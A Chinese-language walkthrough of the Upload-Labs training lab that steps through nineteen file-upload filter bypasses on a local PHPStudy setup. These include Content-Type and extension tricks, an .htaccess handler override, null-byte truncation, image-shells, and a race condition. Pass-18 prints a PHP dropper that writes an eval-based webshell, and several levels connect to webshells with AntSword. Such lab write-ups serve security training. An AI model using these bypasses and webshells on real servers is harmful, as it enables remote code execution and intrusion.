Upload-Labs 文件上传漏洞实验详解

Upload-Labs 文件上传漏洞实验

环境配置

下载upload-labs-master并将其配置到PHPStudy的www目录下,将根文件夹重命名为up。通过访问域名+up进入靶场环境。

环境配置

Pass-01

漏洞描述

首先上传a.php文件,发现弹窗给出了白名单文件类型.jpg|.png|.gif。禁用前端JavaScript后尝试上传。禁用js后发现上传成功且返回图片。

上传限制提示

绕过方法

方法一:检查上传入口

  1. 查看相关的代码文件
  2. 在窗口文件的上方有一个检查文件类型的语句
  3. 双击选中删除return checkFile()
  4. 再次点击上传文件即可成功上传

删除检查语句

方法二:禁用JavaScript

  1. F12+F1禁用js
  2. 点击上传木马会出现一个区域
  3. 右键新建标签打开图片
  4. 把新界面的网址输入到蚁剑,密码hack
  5. 右键添加数据把复制的网址和密码填进去

禁用JavaScript
蚁剑连接

方法三:修改文件扩展名

服务器在前端只依赖检查文件的扩展名,且文件直接使用客户端提供的filename文件:

  1. 把木马的文件格式改成允许的格式
  2. 在抓包软件内把filename改回shell.php再放行
  3. 上传成功后会显示图片样式
  4. 右键新建打开图像即可成功连接

修改文件扩展名
上传成功

Pass-02

漏洞描述

发包后提示文件类型不正确。分析数据包,发现可能是对Content-Type类型有限制。

文件类型错误

绕过方法

服务器依赖content-type头文件判断文件类型:

  1. 上传木马shell.php
  2. 进行抓包把content-type改成允许的格式image/png
  3. 放行数据包
  4. 成功上传后连接webshell

修改Content-Type
上传成功

Pass-03

漏洞描述

尝试上传3.php,发现黑名单提示:不允许上传.asp,.aspx,.php,.jsp后缀文件!

黑名单提示

绕过方法

使用.phtml扩展名:

  1. 直接上传一个名为3.phtml的文件
  2. 可以发现直接上传成功
  3. 使用HackBar构造传参后成功访问phpinfo

使用phtml扩展名
上传成功

Pass-04

漏洞描述

php、php3、phtml等扩展名都被禁止。

扩展名限制

绕过方法

使用.htaccess配置文件:

1
2
3
<FilesMatch "4.png">
SetHandler application/x-httpd-php
</FilesMatch>
  1. 先上传.htaccess文件
  2. 再上传修改的shell.png文件
  3. .htaccess会使Apache将指定的png文件作为PHP执行

htaccess配置
上传成功

Pass-05

漏洞描述

源码中有大小写转换和去字符去点但是没有去空格处理。

源码分析

绕过方法

在filename文件名后加空格:

  1. 上传shell.php抓包
  2. 修改filename为shell.php. .
  3. 服务器会将最后面的点删除留下最前面的点
  4. 放行后自动上传成功
  5. 右键新建标签页打开图像检查成功

添加空格
上传成功

Pass-06

漏洞描述

查看提示发现文件大小写过滤不严谨,可以绕过。

大小写过滤

绕过方法

尝试修改数据包上传:

  1. 将文件扩展名改为大写(如.PHP)
  2. 成功上传且成功解析

修改大小写
上传成功

Pass-07

漏洞描述

源码中有大小写转换和去字符去点但是没有去空格处理。

源码分析

绕过方法

在filename后面加空格:

  1. 上传shell.php文件
  2. 抓包修改filename,在后面添加空格
  3. 成功上传并解析

添加空格
上传成功

Pass-08

漏洞描述

源码中缺少删除末尾的点的语句。

源码分析

绕过方法

在filename后面加点:

  1. 上传shell.php文件
  2. 抓包在filename后面添加点
  3. 成功上传并解析

添加点
上传成功

Pass-09

漏洞描述

原件缺少删去字符串。

源码分析

绕过方法

文件隐藏注入:

  1. 在filename后添加::$DATA
  2. 会自动跳过检查文件
  3. 成功上传并解析

添加::$DATA
上传成功

Pass-10

漏洞描述

源码中显示了完整的黑名单:

1
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");

黑名单

绕过方法

上传文件名为 .php. .(点+php+点+空格+点):

  1. 利用源码中的过滤漏洞
  2. 成功上传并解析

绕过黑名单
上传成功

Pass-11

漏洞描述

老皮第三个版本。删除php文件名,使用双重文件名。服务器从左向右排查遇见第一个组成php的文件名删除,当到达第二个字母的时候会遇见第一个php,删除后剩余的字母还会组成一个php后缀名。

源码分析

绕过方法

使用双重php构造:

  1. 构造文件名如:pphphp.php
  2. 服务器删除第一个php后变成:pp.php
  3. 成功上传并解析

双重构造
上传成功

Pass-12

漏洞描述

老皮第三个版本。需要php的版本号低于5.3.29,且magic_quotes_gpc为关闭状态(需要自己关闭)。上传图片分析数据包,使用白名单限制上传文件类型,但上传文件的存放路径可控。

版本要求

绕过方法

利用方法:

  1. 设置上传路径为upload/shell.php%00
  2. 添加shell.php%00内容为了控制路径
  3. 上传文件后缀为白名单即可(如shell.png)
  4. 保存后为/upload/shell.php%00*****.png
  5. 服务端读取到%00时会自动结束,将文件内容保存至shell.php中

路径控制
上传成功

Pass-13

漏洞描述

需要在hex中修改文件名截断。

hex编辑

绕过方法

  1. 上传shell.png文件,抓包
  2. 在hex中将16进制的抓包把0d位置改成00去截断检查
  3. 新建图片链接的时候将后面的乱码.png删除即可

修改hex
上传成功

Pass-14

漏洞描述

源码中只检查前两个字节(十进制)。

源码分析

绕过方法

  1. 在木马中前面随意添加两个字母
  2. 把那两个字母改10进制对应的16进制字节数
  3. 右键新标签打开图像在up的下一级添加include.php?file=upload/[文件名].png

修改字节
上传成功

Pass-15

漏洞描述

需要使用图片马进行绕过。

图片马

绕过方法

  1. 生成图片马
  2. 在up的下一级输入include.php?file=upload/图片编码
  3. 成功连接webshell

生成图片马
上传成功

Pass-16

漏洞描述

需要打开老皮的php_exif模块。

php_exif模块

绕过方法

  1. 在php.ini中启用php_exif模块
  2. 重启服务器
  3. 上传图片马

启用模块
上传成功

Pass-17

漏洞描述

二次渲染,服务器检测过一次图片信息之后第二次就会放行。

二次渲染

绕过方法

思路:

  1. 上传一个图片,再把图片另存下来
  2. 用010editor对两个图片进行数据对比
  3. 匹配的位置是放行的位置
  4. 把php木马放进匹配段的位置中
  5. 保存后把另存的图片重新上传
  6. 在up的下一级输入include.php?file=upload/图片编码

数据对比
上传成功

Pass-18

漏洞描述

需要利用条件竞争漏洞。

条件竞争

绕过方法

方法一:使用Python脚本

  1. 创建shell.php:
1
2
3
<?php
fputs(fopen('shell.php','w'),'<?php @eval($_POST["hacker"])?>');
?>

创建shell.php

  1. 创建监控脚本:
1
2
3
4
5
6
7
import requests
url = "http://192.168.149.187/up/upload/sh.php" //ip地址是本机的
while True:
html = requests.get(url)
if html.status_code == 200:
print("OK")
break
  1. 上传sh.php并使用Burp Intruder:
  • 在payload中选择null payloads和continue indefinitely
  • 开始攻击后文件会在upload目录下闪烁
  • 运行Python脚本等待成功

Burp Intruder设置

方法二:不使用Python

  1. 上传sh.php抓包上传到intruder
  2. 在intruder的payload中选择null payloads和continue indefinitely
  3. 会有sh文件闪烁
  4. 在浏览器进入up/upload/sh.php再次进行抓包
  5. 上传到intruder,在payload中选择null payloads和continue indefinitely
  6. 在蚁剑添加数据http://[IP]/up/upload/shell.php

Pass-19

漏洞描述

上传图片发现,图片马上传路径不在upload下,但源码中有扩展名白名单。

上传路径不在upload下
源码白名单

绕过方法

  1. 将上一关的sh.php修改为sh.php.7z上传并抓包
  2. 上传到intruder在payloads把payload type修改为null payloads
  3. 修改为continue indefinitely进行攻击
  4. 因为上传的文件放在up目录下并且对文件进行重命名
  5. 访问http://[IP]/up/uploadsh.php.7z进行抓包上传intruder
  6. 在payloads把payload type修改为null payloads
  7. 修改为continue indefinitely进行攻击
  8. up文件夹会生成shell.php文件
  9. 用蚁剑访问http://[IP]/up/shell.php

修改文件名